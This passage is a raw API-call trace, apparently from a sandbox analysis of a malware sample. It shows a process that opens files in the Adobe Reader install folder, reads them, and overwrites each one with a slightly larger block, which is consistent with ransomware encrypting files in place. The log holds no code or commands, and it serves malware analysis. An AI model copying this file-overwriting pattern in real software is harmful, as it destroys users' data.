hFile=0x1a0, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.433] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1200 [0039.433] ReadFile (in: hFile=0x1a0, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.435] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1200 [0039.435] WriteFile (in: hFile=0x1a0, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.436] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.436] WriteFile (in: hFile=0x1a0, lpBuffer=0x2737c68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.436] CloseHandle (hObject=0x1a0) returned 1 [0039.436] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Spelling.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\spelling.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.437] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.437] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2000 [0039.438] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.438] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.438] ReleaseMutex (hMutex=0x128) returned 1 [0039.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHS", cchWideChar=12, lpMultiByteStr=0x1e633ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CHS", lpUsedDefaultChar=0x0) returned 12 [0039.438] ReadFile (in: hFile=0x1a0, lpBuffer=0x2768028, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2768028*, lpNumberOfBytesRead=0x2f4f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0039.439] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0039.439] WriteFile (in: hFile=0x1a0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2f4f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0039.440] CloseHandle (hObject=0x1a0) returned 1 [0039.440] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\DVA.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\dva.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.441] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.442] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2e00 [0039.442] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.442] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.442] ReleaseMutex (hMutex=0x128) returned 1 [0039.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0039.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHT", cchWideChar=7, lpMultiByteStr=0x1e6aa14, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CHT", lpUsedDefaultChar=0x0) returned 7 [0039.442] ReadFile (in: hFile=0x1a0, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.443] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1e00 [0039.443] ReadFile (in: hFile=0x1a0, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.444] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1e00 [0039.444] WriteFile (in: hFile=0x1a0, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.445] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.445] WriteFile (in: hFile=0x1a0, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.445] CloseHandle (hObject=0x1a0) returned 1 [0039.445] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\reflow.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\reflow.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.445] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.445] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1000 [0039.445] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.445] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.445] ReleaseMutex (hMutex=0x128) returned 1 [0039.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHT", cchWideChar=10, lpMultiByteStr=0x1e6326c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CHT", lpUsedDefaultChar=0x0) returned 10 [0039.445] ReadFile (in: hFile=0x1a0, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2f4f2bc*=0x1000, lpOverlapped=0x0) returned 1 [0039.719] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0039.719] WriteFile (in: hFile=0x1a0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x1588, lpOverlapped=0x0) returned 1 [0039.719] CloseHandle (hObject=0x1a0) returned 1 [0039.722] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Accessibility.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\accessibility.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.726] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.726] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x7ec63 [0039.728] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.728] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.728] ReleaseMutex (hMutex=0x128) returned 1 [0039.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.api", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0039.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.api", cchWideChar=17, lpMultiByteStr=0x1e789ec, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.api", lpUsedDefaultChar=0x0) returned 17 [0039.728] ReadFile (in: hFile=0x1a0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.736] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7dc63 [0039.736] ReadFile (in: hFile=0x1a0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.745] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7dc63 [0039.746] WriteFile (in: hFile=0x1a0, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.747] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.747] WriteFile (in: hFile=0x1a0, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.747] CloseHandle (hObject=0x1a0) returned 1 [0039.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\dva.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.747] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.747] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x24a63 [0039.747] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.747] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.748] ReleaseMutex (hMutex=0x128) returned 1 [0039.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.api", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0039.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.api", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.api", lpUsedDefaultChar=0x0) returned 7 [0039.748] ReadFile (in: hFile=0x1a0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.751] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x23a63 [0039.751] ReadFile (in: hFile=0x1a0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.754] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x23a63 [0039.755] WriteFile (in: hFile=0x1a0, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.755] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.755] WriteFile (in: hFile=0x1a0, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.755] CloseHandle (hObject=0x1a0) returned 1 [0039.755] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.880] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.880] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa00 [0039.880] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.880] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.880] ReleaseMutex (hMutex=0x128) returned 1 [0039.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ESP", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ESP", cchWideChar=9, lpMultiByteStr=0x1e631cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.ESP", lpUsedDefaultChar=0x0) returned 9 [0039.880] ReadFile (in: hFile=0x1a0, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2f4f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0039.882] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0039.882] WriteFile (in: hFile=0x1a0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2f4f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0039.883] CloseHandle (hObject=0x1a0) returned 1 [0039.883] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.897] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.897] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa00 [0039.897] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.897] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.897] ReleaseMutex (hMutex=0x128) returned 1 [0039.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SUO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SUO", cchWideChar=9, lpMultiByteStr=0x1e6338c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SUO", lpUsedDefaultChar=0x0) returned 9 [0039.897] ReadFile (in: hFile=0x1a0, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2f4f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0039.900] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0039.900] WriteFile (in: hFile=0x1a0, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2f4f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0039.900] CloseHandle (hObject=0x1a0) returned 1 [0039.900] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.900] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.900] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2000 [0039.900] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.900] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.900] ReleaseMutex (hMutex=0x128) returned 1 [0039.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ITA", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.ITA", lpUsedDefaultChar=0x0) returned 10 [0039.901] ReadFile (in: hFile=0x1a0, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2f4f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0039.905] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0039.906] WriteFile (in: hFile=0x1a0, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0039.906] CloseHandle (hObject=0x1a0) returned 1 [0039.906] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.906] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.907] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa00 [0039.907] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.907] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.907] ReleaseMutex (hMutex=0x128) returned 1 [0039.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHS", cchWideChar=13, lpMultiByteStr=0x1e631cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CHS", lpUsedDefaultChar=0x0) returned 13 [0039.907] ReadFile (in: hFile=0x1a0, 